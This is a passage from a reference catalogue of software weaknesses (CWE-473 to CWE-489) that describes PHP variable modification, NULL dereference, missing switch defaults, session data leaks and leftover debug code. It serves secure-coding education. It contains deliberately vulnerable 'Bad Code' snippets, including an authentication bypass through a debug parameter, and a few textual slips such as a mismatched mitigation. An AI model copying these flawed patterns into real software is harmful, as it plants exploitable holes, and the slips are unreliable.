OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens

CWE-473: PHP External Variable Modification

Weakness ID: 473 *(Weakness Variant)* **Status:** Draft

Description

Summary

A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- PHP

Observed Examples

Reference	Description
CVE-2000-0860	File upload allows arbitrary file read by setting hidden form variables to match internal variable names.
CVE-2001-0854	Mistakenly trusts $PHP_SELF variable to determine if include script was called by its parent.
CVE-2001-1025	Modify key variable when calling scripts that don't load a library that initializes it.
CVE-2002-0764	PHP remote file inclusion by modified assumed-immutable variable.
CVE-2003-0754	Authentication bypass by modifying array used for authentication.

Potential Mitigations

Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register_globals enabled. If you implement a register_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register_globals.

Other Notes

This is a language-specific instance of Modification of Assumed-Immutable Data (MAID). This can be resultant from direct request (alternate path) issues. It can be primary to weaknesses such as PHP file inclusion, SQL injection, XSS, authentication bypass, and others.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')	1000	116
ChildOf	WB	471	Modification of Assumed-Immutable Data (MAID)	**699 1000**	492
RequiredBy		*98*	*Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')*	*1000*	*116*
PeerOf	WW	*616*	*Incomplete Identification of Uploaded File Variables (PHP)*	*1000*	*601*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	PHP External Variable Modification

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
77	Manipulating User-Controlled Variables	

CWE-474: Use of Function with Inconsistent Implementations

Weakness ID: 474 *(Weakness Base)* **Status:** Draft

Description

Summary

The code uses a function that has inconsistent implementations across operating systems and versions, which might cause security-relevant portability problems.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C *(Often)*
- PHP *(Often)*
- All

Potential Mitigations

Do not accept inconsistent behavior from the API specifications when the deviant behavior increase the risk level.

Other Notes

The behavior of functions in this category varies by operating system, and at times, even by operating system version. Implementation differences can include:

- Slight differences in the way parameters are interpreted leading to inconsistent results.
- Some implementations of the function carry significant security risks.
- The function might not be defined on all platforms.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	398	Indicator of Poor Code Quality	699 700 1000	423
ParentOf	*Weakness*	*589*	*Call to Non-ubiquitous API*	***1000***	*580*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Inconsistent Implementations

CWE-475: Undefined Behavior for Input to API

Weakness ID: 475 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The behavior of this function is undefined unless its control parameter is set to a specific value.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Other Notes

The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: __xmknod The value 2 must be passed to the third parameter (the group argument) of the following wide character string functions: __wcstod_internal __wcstof_internal __wcstol_internal __wcstold_internal __wcstoul_internal The value 3 must be passed as the first parameter (the version number) of the following file system functions: __xstat __lxstat __fxstat __xstat64 __lxstat64 __fxstat64

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	398	Indicator of Poor Code Quality	699 700	423
ChildOf	Weakness	573	Failure to Follow Specification	1000	570

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Undefined Behavior

CWE-476: NULL Pointer Dereference

Weakness ID: 476 *(Weakness Base)* **Status:** Draft

Description

Summary

A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C

- C++
- Java
- .NET

Common Consequences

Availability

NULL pointer dereferences usually result in the failure of the process.

In very rare circumstances and environments, code execution is possible.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

NULL pointer dereference issue can occur through a number of flaws, including race conditions, and simple programming omissions. While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur. Before using a pointer, ensure that it is not equal to NULL:

Good Code

```
if (pointer1 != NULL) {
  /* make use of pointer1 */
  /* ... */
}
```

When freeing pointers, ensure they are not set to NULL, and be sure to set them to NULL once they are freed:

Good Code

```
if (pointer1 != NULL) {
  free(pointer1);
  pointer1 = NULL;
}
```

If you are working with a multi-threaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

Example 2:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method.

Java Example:

Bad Code

```
String cmd = System.getProperty("cmd");
cmd = cmd.trim();
```

Observed Examples

Reference	Description
CVE-2002-0401	
CVE-2002-1912	large number of packets leads to NULL dereference
CVE-2003-1000	
CVE-2003-1013	
CVE-2004-0079	
CVE-2004-0119	
CVE-2004-0365	
CVE-2004-0389	
CVE-2004-0458	
CVE-2005-0772	packet with invalid error status value triggers NULL dereference
CVE-2005-3274	race condition causes a table to be corrupted if a timer activates while it is being modified, leading to resultant NULL dereference; also involves locking.

Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Implementation

If all pointers that could have been modified are sanity-checked previous to use, nearly all NULL pointer dereferences can be prevented.

Other Notes

NULL pointer dereferences, while common, can generally be found and corrected in a simply way. They will always result in the crash of the process unless exception handling (on some platforms) is invoked, and even then, little can be done to salvage the process.

NULL pointer dereferences are frequently resultant from rarely encountered error conditions, since these are most likely to escape detection during the testing phases.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V		Page
PeerOf	Weakness	373	State Synchronization Error	1000		398
ChildOf	Weakness Category	398	Indicator of Poor Code Quality	**699** **700** **1000**		423
ChildOf	Category	730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**		720
ChildOf	Category	737	CERT C Secure Coding Section 03 - Expressions (EXP)	**734**		725
ChildOf	Category	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	734		727
CanFollow	Weakness	*252*	*Unchecked Return Value*	*1000*	*690*	*274*
MemberOf	View	*630*	*Weaknesses Examined by SAMATE*	***630***		*614*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Null Dereference
CLASP			Null-pointer dereference
PLOVER			Null Dereference (Null Pointer Dereference)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	EXP34-C		Ensure a null pointer is not dereferenced
CERT C Secure Coding	MEM32-C		Detect and handle memory allocation errors

White Box Definitions

A weakness where the code path has:

1. start statement that assigns a null value to the pointer
2. end statement that dereferences a pointer
3. the code path does not contain any other statement that assigns value to the pointer

CWE-477: Use of Obsolete Functions

Weakness ID: 477 *(Weakness Base)* **Status:** Draft

Description

Summary

The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Example 1:

The following code uses the deprecated function getpw() to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets result to 1; otherwise it is set to 0.

Bad Code

```
...
getpw(uid, pwdline);
for (i=0; i<3; i++){
  cryptpw=strtok(pwdline, ":");
  pwdline=0;
}
result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;
...
```

Although the code often behaves correctly, using the getpw() function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, getpw() has been supplanted by getpwuid(), which performs the same lookup as getpw() but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.

Example 2:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.

Bad Code

```
string cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
```

Example 3:

The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.

Bad Code

```
...
String name = new String(nameBytes, highByte);
...
```

In this example, the constructor may fail to correctly convert bytes to characters depending upon which charset is used to encode the string represented by nameBytes. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.

Potential Mitigations

Consider seriously the security implication of using an obsolete function. Consider using alternate functions.

The system should warn the user from using an obsolete function.

Other Notes

As programming languages evolve, functions occasionally become obsolete due to:

- Advances in the language
- Improved understanding of how operations should be performed effectively and securely
- Changes in the conventions that govern certain operations

Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way. Refer to the documentation for this function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality. The remainder of this text discusses general problems that stem from the use of deprecated or obsolete functions.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	398	Indicator of Poor Code Quality	699 700 1000	423

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Obsolete

CWE-478: Failure to Use Default Case in Switch

Weakness ID: 478 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code does not account for the default case in a switch statement, which might lead to complex logical errors and resultant weaknesses.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Common Consequences

Other

Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.

Demonstrative Examples

The following fails to properly check the return code in the case where the security_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:

C Example: *Bad Code*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
  case FAILED:
    printf("Security check failed!\n");
    exit(-1);
  case PASSED:
    printf("Security check passed.\n");
    break;
}
// program execution continues...
...
```

Instead a default label should be used for unaccounted conditions:

C Example: *Good Code*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
```

```
  case FAILED:
    printf("Security check failed!\n");
    exit(-1);
  case PASSED:
    printf("Security check passed.\n");
    break;
  default:
    printf("Unknown error (%d), exiting...\n",result);
    exit(-1);
}
```

This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.

Potential Mitigations

Implementation

Ensure that there are no unaccounted for cases, when adjusting flow or values based on the value of a given variable. In switch statements, this can be accomplished through the use of the default label.

Other Notes

This flaw represents a common problem in software development, in which not all possible values for a variable are considered or handled by a given process. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system. In the case of switch style statements, the very simple act of creating a default case can mitigate this situation, if done correctly. Often however, the default cause is used simply to represent an assumed option, as opposed to working as a sanity check. This is poor practice and in some cases is as bad as omitting a default case entirely.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	699	199
ChildOf	WE	398	Indicator of Poor Code Quality	**699**	423
ChildOf	WE	697	Insufficient Comparison	**1000**	687

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to account for default case in switch

CWE-479: Unsafe Function Call from a Signal Handler

Weakness ID: 479 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program has a signal handler that calls an unsafe function, leading to unpredictable results.

Extended Description

There are several functions which -- under certain circumstances, if used in a signal handler -- may result in the corruption of memory, allowing for exploitation of the process.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Access Control

It may be possible to execute arbitrary code through the use of a write-what-where condition.

Integrity

Signal race conditions often result in data corruption.

Likelihood of Exploit

Low

Demonstrative Examples

See Signal handler race condition, for an example usage of free() in a signal handler which is exploitable.

Potential Mitigations

Requirements specification: A language might be chosen, which is not subject to this flaw, through a guarantee of reentrant code.

Architecture and Design

Design signal handlers to only set flags rather than perform complex functionality.

Implementation

Ensure that non-reentrant functions are not found in signal handlers. Also, use sanity checks to ensure that state is consistently performing asynchronous actions which effect the state of execution.

Other Notes

This flaw is a subset of race conditions occurring in signal handler calls which is concerned primarily with memory corruption caused by calls to non-reentrant functions in signal handlers. Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as "scratch space." If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Weakness	123	Write-what-where Condition	1000	154
PeerOf	Weakness	364	Signal Handler Race Condition	1000	388
ChildOf	Weakness	398	Indicator of Poor Code Quality	**699**	423
ChildOf	Category	429	Handler Errors	699	458
ChildOf	Category	634	Weaknesses that Affect System Processes	**631**	616
ChildOf	Weakness	691	Insufficient Control Flow Management	**1000**	682
ChildOf	Category	745	CERT C Secure Coding Section 11 - Signals (SIG)	**734**	729

Affected Resources

- System Process

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Unsafe function call from a signal handler
CERT C Secure Coding	SIG30-C	Call only asynchronous-safe functions within signal handlers
CERT C Secure Coding	SIG32-C	Do not call longjmp() from inside a signal handler
CERT C Secure Coding	SIG33-C	Do not recursively invoke the raise() function
CERT C Secure Coding	SIG34-C	Do not call signal() from within interruptible signal handlers

CWE-480: Use of Incorrect Operator

Weakness ID: 480 *(Weakness Base)* **Status:** Draft

Description

Summary

The programmer accidentally uses the wrong operator, which changes the application logic in security-relevant ways.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Sometimes)*
- C++ *(Sometimes)*
- Perl *(Sometimes)*
- All

Likelihood of Exploit

Low

Demonstrative Examples

C Example:

```
char foo;
foo=a+c;
```

Potential Mitigations

Pre-design through Build: Most static analysis programs should be able to catch these errors.

Implementation

Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always sanity check this number.

Other Notes

These types of bugs generally are the result of a typo. Although most of them can easily be found when testing of the program, it is important that one correct these problems, since they almost certainly will break the code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		569	Expression Issues	**699**	567
ChildOf		670	Always-Incorrect Control Flow Implementation	**1000**	659
ChildOf		747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	**734**	730
ParentOf		*481*	*Assigning instead of Comparing*	*699* ***1000***	*504*
ParentOf		*482*	*Comparing instead of Assigning*	*699* ***1000***	*505*
ParentOf		*597*	*Use of Wrong Operator in String Comparison*	*699* *1000*	*586*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Using the wrong operator
CERT C Secure Coding	MSC02-C	Avoid errors of omission
CERT C Secure Coding	MSC03-C	Avoid errors of addition

CWE-481: Assigning instead of Comparing

Weakness ID: 481 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code uses an operator for assignment when the intention was to perform a comparison.

Extended Description

In many languages the compare statement is very close in appearance to the assignment statement and are often confused.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET

Likelihood of Exploit

Low

Demonstrative Examples

Bad Code

```
void called(int foo){
  if (foo=1) printf("foo\n");
}
int main() {
  called(2);
  return 0;
}
```

Potential Mitigations

Pre-design: Through Build: Many IDEs and static analysis products will detect this problem.

Implementation

Place constants on the left. If one attempts to assign a constant with a variable, the compiler will of course produce an error.

Other Notes

This bug is generally as a result of a typo and usually should cause obvious problems with program execution. If the comparison is in an if statement, the if statement will always return the value of the right-hand side variable.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	480	Use of Incorrect Operator	699 **1000**	503
ChildOf	Category	569	Expression Issues	**699**	567
CanPrecede	Weakness Base	697	Insufficient Comparison	1000	687

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Assigning instead of comparing

CWE-482: Comparing instead of Assigning

Weakness ID: 482 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code uses an operator for comparison when the intention was to perform an assignment.

Extended Description

In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Likelihood of Exploit

Low

Demonstrative Examples

C/C++/Java Example:

Bad Code

```
void called(int foo) {
  foo==1;
  if (foo==1) printf("foo\n");
}
int main() {
  called(2);
  return 0;
}
```

Potential Mitigations

Pre-design: Through Build: Many IDEs and static analysis products will detect this problem.

Other Notes

This bug is mainly a typo and usually should cause obvious problems with program execution. The assignment will not always take place.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	480	Use of Incorrect Operator	699 **1000**	503
ChildOf	C	569	Expression Issues	**699**	567
ChildOf	C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	**734**	730

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Comparing instead of assigning
CERT C Secure Coding	MSC02-C	Avoid errors of omission

CWE-483: Incorrect Block Delimitation

Weakness ID: 483 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.

Extended Description

In some languages, forgetting to explicitly delimit a block can result in a logic error that can, in turn, have security implications.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C *(Sometimes)*
- C++ *(Sometimes)*

Common Consequences

This is a general logic error -- with all the potential consequences that this entails.

Likelihood of Exploit

Low

Demonstrative Examples

In this example, when the condition is true, the intention may be that both x and y run. if (condition==true) x; y;

Potential Mitigations

Implementation

Always use explicit block delimitation and use static-analysis technologies to enforce this practice.

Other Notes

In many languages, braces are optional for blocks, and -- in a case where braces are omitted -- it is possible to insert a logic error where a statement is thought to be in a block but is not. This is a common and well known reliability error.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	398	Indicator of Poor Code Quality	**699**	423
ChildOf	Wc	670	Always-Incorrect Control Flow Implementation	**1000**	659

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Incorrect block delimitation

CWE-484: Omitted Break Statement in Switch

Weakness ID: 484 *(Weakness Base)* **Status:** Draft

Description

Summary

The program omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.

Extended Description

This can lead to critical code executing in situations where it should not.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Java
- .NET
- PHP

Likelihood of Exploit

Medium

Detection Factors

White Box

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected program behavior is required to interpret whether the code is correct.

Black Box

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

Demonstrative Examples

Java Example: *Bad Code*

```
{
  int month = 8;
  switch (month) {
    case 1: print("January");
    case 2: print("February");
    case 3: print("March");
    case 4: print("April");
    case 5: print("May");
    case 6: print("June");
    case 7: print("July");
    case 8: print("August");
    case 9: print("September");
    case 10: print("October");
    case 11: print("November");
    case 12: print("December");
  }
  println(" is a great month");
}
```

C/C++ Example:

```
{
  int month = 8;
  switch (month) {
    case 1: printf("January");
    case 2: printf("February");
    case 3: printf("March");
    case 4: printf("April");
    case 5: printff("May");
    case 6: printf("June");
    case 7: printf("July");
    case 8: printf("August");
    case 9: printf("September");
    case 10: printf("October");
    case 11: printf("November");
    case 12: printf("December");
  }
  printf(" is a great month");
}
```

Now one might think that if they just tested case 12, it will display that the respective month "is a great month." However, if one tested November, one notice that it would display "November December is a great month."

Potential Mitigations

Implementation

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.

Implementation

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	398	Indicator of Poor Code Quality	**699** 1000	423
ChildOf	Wc	670	Always-Incorrect Control Flow Implementation	**1000**	659

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Omitted break statement

CWE-485: Insufficient Encapsulation

Weakness ID: 485 *(Weakness Class)* **Status:** Draft

Description

Summary

The product does not sufficiently encapsulate critical data or functionality.

Extended Description

Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user's data and another's, or between data users are allowed to see and data that they are not.

Terminology Notes

The "encapsulation" term is used in multiple ways. WIthin some security sources, the term is used to describe the establishment of boundaries between different control spheres. Within general

computing circles, it is more about hiding implementation details and maintainability than security. Even within the security usage, there is also a question of whether "encapsulation" encompasses the entire range

Time of Introduction

- Architecture and Design
- Implementation

Potential Mitigations

Implement appropriate encapsulation to protect critical data or functionality.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	**699**	13
ChildOf	Wc	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ParentOf	Wc	*216*	*Containment Errors (Container Errors)*	***1000***	*246*
ParentOf	Ww	*486*	*Comparison of Classes by Name*	***699*** ***700*** *1000*	*510*
ParentOf	Ww	*487*	*Reliance on Package-level Scope*	***699*** ***1000***	*511*
ParentOf	Ww	*488*	*Data Leak Between Sessions*	***699*** ***700*** ***1000***	*511*
ParentOf	We	*489*	*Leftover Debug Code*	***699*** ***700*** ***1000***	*513*
ParentOf	C	*490*	*Mobile Code Issues*	*699* ***700***	*514*
ParentOf	Ww	*491*	*Public cloneable() Method Without Final ('Object Hijack')*	***700***	*514*
ParentOf	Ww	*492*	*Use of Inner Class Containing Sensitive Data*	***700***	*515*
ParentOf	Ww	*493*	*Critical Public Variable Without Final Modifier*	***700***	*516*
ParentOf	Ww	*495*	*Private Array-Typed Field Returned From A Public Method*	***699*** ***700*** ***1000***	*519*
ParentOf	Ww	*496*	*Public Data Assigned to Private Array-Typed Field*	***699*** ***700*** ***1000***	*520*
ParentOf	Ww	*497*	*Information Leak of System Data*	***700***	*521*
ParentOf	Ww	*498*	*Information Leak through Class Cloning*	***699*** ***1000***	*522*
ParentOf	Ww	*499*	*Serializable Class Containing Sensitive Data*	***699*** ***1000***	*524*
ParentOf	We	*501*	*Trust Boundary Violation*	***699*** ***700*** ***1000***	*526*
ParentOf	Ww	*502*	*Deserialization of Untrusted Data*	***699*** ***1000***	*526*
ParentOf	Ww	*545*	*Use of Dynamic Class Loading*	***699*** ***1000***	*551*
ParentOf	Ww	*580*	*clone() Method Without super.clone()*	***699*** ***1000***	*574*
ParentOf	Ww	*594*	*J2EE Framework: Saving Unserializable Objects to Disk*	***699*** ***1000***	*584*
ParentOf	Ww	*607*	*Public Static Final Field References Mutable Object*	***699***	*595*
MemberOf	V	*700*	*Seven Pernicious Kingdoms*	***700***	*689*
ParentOf	We	*749*	*Exposed Dangerous Method or Function*	***699*** ***1000***	*731*
ParentOf	Ww	*766*	*Critical Variable Declared Public*	***699*** *1000*	
ParentOf	Ww	*767*	*Access to Critical Private Variable via Public Method*	***699***	

Nature	Type	ID	Name	V	Page
				1000	

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Encapsulation

Maintenance Notes

This node has to be considered in relation to CWE-732 and CWE-269.

See terminology notes on the multiple uses of the "encapsulation" term.

CWE-486: Comparison of Classes by Name

Weakness ID: 486 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.

Extended Description

If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Authorization

If a program relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.

Likelihood of Exploit

High

Demonstrative Examples

Bad Code

```
if (inputClass.getClass().getName().equals("TrustedClassName")) {
  // Do something assuming you trust inputClass
  // ...
}
```

Potential Mitigations

Implementation

Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	699	199
ChildOf	Wc	485	Insufficient Encapsulation	**699** **700** 1000	508
ChildOf	Wc	697	Insufficient Comparison	**1000**	687
PeerOf	Wb	*386*	*Symbolic Name not Mapping to Correct Object*	*1000*	*412*

Relevant Properties

- Equivalence
- Uniqueness

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Comparing Classes by Name
CLASP	Comparing classes by name

CWE-487: Reliance on Package-level Scope

Weakness ID: 487 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality

Any data in a Java package can be accessed outside of the Java framework if the package is distributed.

Integrity

The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.

Likelihood of Exploit

Medium

Demonstrative Examples

Java Example: *Bad Code*

```
package math;
public class Lebesgue implements Integration{
  public final Static String youAreHidingThisFunction(functionToIntegrate){
    return ...;
  }
}
```

Potential Mitigations

Design through Implementation: Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.

Other Notes

The purpose of package scope is to prevent accidental access. However, this protection provides an ease-of-software-development feature but not a security feature, unless it is sealed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	485	Insufficient Encapsulation	**699** **1000**	508

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Relying on package-level scope

CWE-488: Data Leak Between Sessions

Weakness ID: 488 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

Bad Code

```
public class GuestBook extends HttpServlet {
  String name;
  protected void doPost (HttpServletRequest req,
  HttpServletResponse res) {
    name = req.getParameter("name");
    ...
    out.println(name + ", thanks for visiting!");
  }
}
```

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

Potential Mitigations

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

In multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

Other Notes

Many Servlet developers do not understand that, unless a Servlet implements the SingleThreadModel interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result of this misunderstanding is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	485	Insufficient Encapsulation	**699 700 1000**	508
PeerOf	We	*567*	*Unsynchronized Access to Shared Data*	*1000*	*566*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Data Leaking Between Users

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)

CWE-489: Leftover Debug Code

Weakness ID: 489 *(Weakness Base)* **Status:** Draft

Description

Summary

The application can be deployed with active debugging code that can create unintended entry points.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.

Demonstrative Examples

Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

Bad Code

```
<FORM ACTION="/authenticate_login.cgi">
  <INPUT TYPE=TEXT name=username>
  <INPUT TYPE=PASSWORD name=password>
  <INPUT TYPE=SUBMIT>
</FORM>
```

Then a conforming link will look like:

```
